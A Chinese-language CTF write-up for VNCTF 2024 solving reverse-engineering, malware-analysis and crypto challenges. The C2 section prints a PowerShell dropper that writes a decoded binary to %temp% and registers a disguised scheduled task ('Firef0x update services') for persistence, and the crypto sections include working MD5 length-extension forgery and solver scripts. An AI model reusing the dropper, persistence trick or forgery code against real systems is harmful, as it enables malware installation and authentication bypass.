Skip to main content

感谢老铁送的咖啡杯

·1403 words·7 mins

VNCTF 2024 wp #

re #

TBOXs #

全是花,懒得去了,手撕汇编吧

fuzz 完长度调进tea算法

和正常tea相比多了个异或0x33

花大概长这样,只对jmp做了替换,比较正常

push    eax
.text:001E10C3 50                            push    eax
.text:001E10C4 9C                            pushf
.text:001E10C5 E8 00 00 00 00                call    $+5
.text:001E10C5
.text:001E10CA
.text:001E10CA                               loc_1E10CA:                             ; DATA XREF: sub_1E10BB+10o
.text:001E10CA 58                            pop     eax
.text:001E10CB 05 2A 00 00 00                add     eax, (offset xxtea - offset loc_1E10CA) ; tea class
.text:001E10D0 89 44 24 08                   mov     [esp+0Ch+var_4], eax
.text:001E10D4 9D                            popf
.text:001E10D5 58                            pop     eax
.text:001E10D6 C3                            retn

秘钥和密文

Untitled

加个异或0x33,一把梭哈

#include <stdio.h>  
#include <stdint.h>  

void decrypt (uint32_t* v, uint32_t* k) {  
    uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i;  /* set up */  
    uint32_t delta=0x9e3779b9;                     /* a key schedule constant */  
    uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];   /* cache key */  
    for (i=0; i<32; i++) {                         /* basic cycle start */  
        v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3)^0x33;  
        v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1)^0x33;  
        sum -= delta;  
    }                                              /* end cycle */  
    v[0]=v0; v[1]=v1;  
}  
void encrypt (uint32_t* v, uint32_t* k) {  
    uint32_t v0=v[0], v1=v[1], sum=0, i;           /* set up */  
    uint32_t delta=0x9e3779b9;                     /* a key schedule constant */  
    uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];   /* cache key */  
    for (i=0; i < 32; i++) {                       /* basic cycle start */  
        sum += delta;  
        uint32_t tmp = ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1)^0x33;
        v0 += tmp;
        // printf("0x%x\n",tmp);
        
        tmp = ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3)^0x33;  

        // printf("0x%x\n",tmp);
        // getchar();
        v1 += tmp;
    }                                              /* end cycle */  
    v[0]=v0; v[1]=v1;  
}  
// '''
// .data:001E3028 key0 dd 67626463h                       ; DATA XREF: xxtea+33↑r
// .data:001E302C key1 dd 696D616Eh                       ; DATA XREF: xxtea+2A↑r
// .data:001E3030 key2 dd 79645F65h                       ; DATA XREF: xxtea+55↑r
// .data:001E3034 key3 dd 6B696C69h
// 0x8A932F0D 
// '''
int main()  
{  
    uint32_t v[2]={0x61616161,0x62626262},k[4]={0x67626463,0x696D616E,0x79645F65,0x6B696C69};  

    encrypt(v, k);  
    printf("enc = %08x %08x\n",v[0],v[1]);  
    uint32_t enc[10] = {0x31363010,
    0x0AD938623,              
    0x8492D4C5,
    0x7567E366,
    0x0C786696B,
    0x0A0092E31,
    0x0DB695733,
    0x0DD13A893,
    0x88D8A53E,
    0x7E845437,};
    for(int i=0;i<5;i++){
        v[0] = enc[0+i*2];
        v[1] = enc[1+i*2];
        decrypt(v, k);  
        printf(" 0x%08x,0x%08x\n",v[0],v[1]);  
        
    }
    return 0;  
}
from Crypto.Util.number import *
m = [ 0x54434e56,0x6f427b46,
    0x626f5f78,0x63737566,
    0x6f697461,0x6e615f6e,
    0x6f795f64,0x72615f75,
    0x636f735f,0x7d6c6f6f,]

for i in m:
    print(long_to_bytes(i)[::-1].decode(),end='')
# VNCTF{Box_obfuscation_and_you_ar_socool}

C2 #

powershell脚本释放木马

用iex指令执行powershell命令来释放载荷

iex([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String(badcode)
把iex换成echo慢慢分析释放的文件
echo ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String($code)))>./data4

最后得到一个这样的文件

$b64EncodedData = ...
$PEBytes = [System.Convert]::FromBase64String($b64EncodedData)
$PEBytes | Set-Content -Path $filePath -Encoding byte -Force

Start-Process -FilePath "cmd.exe" -ArgumentList "/c start %temp%\169sdaf1c56a4s5da4.bin"

$actionParams = New-ScheduledTaskAction -Execute "cmd.exe" -Argument  "/c start %temp%\169sdaf1c56a4s5da4.bin"
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 5)
$taskName = "Firef0x update services"
Register-ScheduledTask -TaskName $taskName -Trigger $trigger -Action $actionParams -Description "This scheduled task is implemented to check firefox upgrade."
Start-ScheduledTask -TaskName $taskName

会生成一个定时任务 Firef0x update services 定期启动 169sdaf1c56a4s5da4.bin

-Encoding byte 在新版本ps中用不了了,换成-AsByteStream生成小马文件

$PEBytes = [System.Convert]::FromBase64String($b64EncodedData)
$filePath = "./169sdaf1c56a4s5da4.bin"
# $PEBytes | Set-Content -Path $filePath -Encoding byte -Force

$PEBytes | Set-Content -Path $filePath -AsByteStream byte -Force
# Start-Process -FilePath "cmd.exe" -ArgumentList "/c start %temp%\169sdaf1c56a4s5da4.bin"

# $actionParams = New-ScheduledTaskAction -Execute "cmd.exe" -Argument  "/c start %temp%\169sdaf1c56a4s5da4.bin"
# $trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 5)
# $taskName = "Firef0x update services"
# Register-ScheduledTask -TaskName $taskName -Trigger $trigger -Action $actionParams -Description "This scheduled task is implemented to check firefox upgrade."
# Start-ScheduledTask -TaskName $taskName

smc释放rc4加密程序用于流量加密

Untitled

往上翻翻到cmd字符s

和请求的文件flag.txt

GetFileAttributesA 会去掉路径,所以秘钥是flag.txt

flag.txt长度为34

刚好 后面发送了34bytes

e

还可以大力飞砖狠狠猜测解密秘钥

def KSA(key):
    """ Key-Scheduling Algorithm (KSA) """
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]
    return S
 
def PRGA(S):
    """ Pseudo-Random Generation Algorithm (PRGA) """
    i, j = 0, 0
    while True:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        K = S[(S[i] + S[j]) % 256]
        yield K
 
def RC4(key, text):
    """ RC4 encryption/decryption """
    S = KSA(key)
    keystream = PRGA(S)
    res = []
    for char in text:
        res.append(char ^ next(keystream))
    return bytes(res)

key = b'5A15-9DEC'
key = b'DESKTOP-1OKUO44'
key = b'D:\flag.txt'
key = b'flag.txt'

# plaintext = b'hello world'
plaintext = bytes.fromhex('7371857ded3356944e79b89f4c9d86223f515248322d40cc65a2be00c473a90ed4534b5362ac7f030211a0')
print(plaintext)
print(len(plaintext))
ciphertext = RC4(key, plaintext)
print(ciphertext)
# b'vnctf{84976be3-9809-4a3b-9711-51621e388286}'

crypto #

basiclog #

bsgs,一下子忘记怎么写

import signal
import os
import sys
import random
flag = "************************"

def timeout(*args):
    sys.exit(0)

q = 
p = 
g = 2

signal.signal(signal.SIGALRM, timeout)
signal.alarm(1800)

x = random.getrandbits(48)
# y = pow(g, pow(g, x, q), p)
y = pow(g, pow(g, x, q), (2*q+1))
print(y)

try:
	_x = int(input('> '))
	if x == _x:
		print(flag)
	else:
		print("Error...")
except:
	exit(0)

将x分为高24位和低24位

$$ X = 2^{24}*i + j=a * i+j, \\ $$

i,j 大小为24位

令 $$ t1=g^{ai},t2=g^j $$

$$ y=g^{g^X}=g^{g^{ai+j}}=g^{t1 * t2} $$

$$ y^{\frac{1}{t2}}=g^{t1} $$ y ,g已知,bsgs先遍历t1再遍历t2

from tqdm import tqdm
from gmpy2 import powmod
# from pwn import *

q = 11769445852166501942131444325164359907623906505859865854871085543754710159882777389890225783970170353153967463136054852998337865848469266919651006863215539
p = 23538891704333003884262888650328719815247813011719731709742171087509420319765554779780451567940340706307934926272109705996675731696938533839302013726431079
g = 2

dic1 = {}

a = 2 ** 24
gt = powmod(g,a,q)
index = 1

for i in tqdm(range(2**24)):
    index *= gt
    index %= q
    # index = powmod(g,a*i,q)
    dic1.update({powmod(g,index,p):i})

y = 20359682232055289212157586911450917222215377353654625082087959010419426876834432268021148452386813361216114184898804593896971729963677826891844946593981599
# 20359682232055289212157586911450917222215377353654625082087959010419426876834432268021148452386813361216114184898804593896971729963677826891844946593981599
# 264291690918820
x = 0
for j in tqdm(range(2**24)):
    index = powmod(g,j,q)
    tmp = powmod(y,index,p)
    if tmp in dic1.keys():
        x = (a*dic1[tmp] - j) % q
        print(x)
        break
100%|█████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 16777216/16777216 [19:32<00:00, 14307.12it/s]
 65%|████████████████████████████████████████████████████████████████████████▉                                        | 10831959/16777216 [11:41<08:38, 11466.33it/s]
264291674141604
 65%|████████████████████████████████████████████████████████████████████████▉                                        | 10832988/16777216 [11:41<06:24, 15444.58it/s]

basiccry #

import random 
from Crypto.Util.number import *
flag = b'ljahum'
m = bytes_to_long(flag)

rr = matrix(ZZ,[random_vector(ZZ,256,0,2) for _ in range(256)])
mm = matrix(GF(2),[list(bin(m)[2:].rjust(256,'0'))]*256)
cc = mm+rr
ii = vector(ZZ,input("Undoubtedly, this is a backdoor left for you: ").split(","))
dd = rr*ii

print(cc)
print(dd)

注意ii和rr用的都是ZZ

直接用1到2的255次方填充ii

dd的每一个元素的二进制就是rr的行向量

from pwn import *
# from crackMd5 import makeMD5_warp
debug = True
sh = remote("manqiu.top",22000)
buf = sh.recvuntil(b"you:")
print(buf)
buf = ''
for i in range(255):
    buf += str(2**i)
    buf+=','
buf += str(2**255)
print(buf)

sh.sendline(buf.encode())
buf = sh.recvuntil(b")")
with open("buf.txt",'wb+') as f:
    f.write(buf)
print(buf)
from data import dd,cc
from Crypto.Util.number import *

rr=[]
for i in dd:
    tmp = bin(i)[2:].rjust(256,'0')[::-1]
    list_of_bits = [int(bit) for bit in tmp]
    rr.append(list_of_bits)
    
RR = matrix(ZZ,rr)
CC = matrix(GF(2),cc)

M=  CC -RR
print(M[0])
f=''
for i in M[0]:
   f+=str(i)
   
print(f,int(f,2))
 
    
print(long_to_bytes(int(f,2)))

SignAhead #

    print(f'Round {i}')
    key = token_bytes(32)
    msg = token_bytes(64)
    sign = md5(key + msg).hexdigest()
    print('msg:', msg.hex())
    print('sign:', sign)
    print('FORGE ME!!!!')
    newmsg = bytes.fromhex(input('msg: '))
    newsign = input('sign: ').strip()
    assert msg != newmsg
    if md5(key + newmsg).hexdigest() == newsign:

md5长度扩展

from pwn import *
from crackMd5 import makeMD5_warp
debug = True
sh = remote("manqiu.top",21199)

def run():
    buf = sh.recvuntil(b'msg:')

    buf = sh.recvuntil(b'sign:')
    msg = buf.split()[0]

    buf = sh.recvuntil(b'FORGE ME!!!!')
    sign = buf.split()[0]

    print(msg)
    print(sign)

    new_message,new_hash =makeMD5_warp(msg,sign) 

    print("new_message",len(new_message),new_message)
    print("hash",len(new_hash),new_hash)
    # sh.interactive()
    sh.sendlineafter(b"msg:",new_message)
    sh.sendlineafter(b"sign:",new_hash)

    buf = sh.recvline()
    
    print(buf)
    buf = sh.recvline()
    
    print(buf)

tmp = 0
for i in range(100):
    run()

sh.interactive()
buf = sh.recv()
print(buf)

现成的哈希扩展貌似没啥好的库

不如自己手动改一个现成的工具

https://github.com/eid3t1c/Hash_Extender

这个比较新,把他的Hash_Functions拿来可以直接用

crackMd5模块

from Hash_Functions import MD4,MD5,SHA1,SHA256,SHA512
import argparse

from hashlib import md5

def Lendian_STATE(signature):
    if len(signature) != 32:
        raise ValueError("The input hash must be 32 bytes long.")
    # Split the hash into 4 equal parts
    parts = [signature[i:i + 8] for i in range(0, 32, 8)]
    # Convert each part to little-endian format
    little_endian_parts = []
    for part in parts:
        temp = ""
        little_endian = part[::-1] # Revert It
        for j in range(0,len(little_endian),2): # For every hex digit
            temp += little_endian[j+1] + little_endian[j] # Make it little endian
        little_endian_parts.append(temp) 
    A = int(little_endian_parts[0],16)
    B = int(little_endian_parts[1],16)
    C = int(little_endian_parts[2],16)
    D = int(little_endian_parts[3],16)
    return A,B,C,D
def New(known:bytes,append:bytes,key_length:int,block_size,message_size_bytes,endian):
    # Re-create the same padded message as the server
    current_message_after_padding = known + b"\x80" + b"\x00" * ((block_size - len(known) - key_length - 1 - message_size_bytes) % block_size) + ((key_length + len(known)) * 8).to_bytes(message_size_bytes,byteorder=endian)
    # Append the extra data
    new_message =  current_message_after_padding + append
    # Calculate the new bit-byte length
    total_prefix = (key_length + len(current_message_after_padding) + len(append)) * 8
    # Create the same padded message that the server will process with the given hash
    to_hash = append + b"\x80" + b"\x00" * ((block_size - len(append) - 1 - message_size_bytes) % block_size) + (total_prefix).to_bytes(message_size_bytes,byteorder=endian)
    
    return new_message,to_hash

def make_md5(s,d,a,k):
   Signature = s
    Data = d

    Append = a
    Key_length = k

    new_message,to_hash = New(Data,Append,Key_length,64,8,"little") # Create the new message.
    A,B,C,D = Lendian_STATE(Signature) # split the given hash into a proper state
    new_hash = MD5.MD5(to_hash,(A,B,C,D)) # Hash the new message with the given hash being the state
    # result(str(new_message)[2:-1],new_hash)
    # print(type(new_message),type(new_hash))
    # print(new_message,new_hash)
    return new_message.hex(),new_hash
# 

def makeMD5_warp(msg,sign):

    s = sign.decode()
    d = bytes.fromhex(msg.decode())

    a = b'\x02'
    k = 32

    new_message,new_hash = make_md5(s,d,a,k)
    print("new_message",len(new_message),new_message)
    print("hash",len(new_hash),new_hash)
    return new_message,new_hash

# test

# key= b'8c1a9e255f134313b4daf80302a0adc7407d5b3dc62b398bf9b2b744682fd12e'
msg=  b'76840232b0f01ef9a0c2e707d39a8010e3f2252afcb56d13cc5291a74c42cb296a9c77db374569af4f34ffd1205f66e0b9e3fa0e7ad101dacb9635300c8be486'
sign= b'fc644f3c6e915ef2ad0e8f05400d62df'

# msg=  b'335ad8fe600254c15a21e8ef6a9ee18e11428404b8c10e8bc21d22df64439d5e407a076db71f38edc9ee83f087cdbaaa9a4c130c1eb685da33ad564ea3baeeb7'
# sign= b'80332dbb864091cef75e4fdbb59bfa75'

s = sign.decode()
d = bytes.fromhex(msg.decode())

a = b'\x02'
k = 32

new_message,new_hash = make_md5(s,d,a,k)

print("new_message",len(new_message),new_message)
print("hash",len(new_hash),new_hash)

web #

Checkin #

啊,环境关了进不去了

f12然后狠狠大浪淘沙flag就出来了


感谢VN的hxdm送的咖啡杯

永远爱你们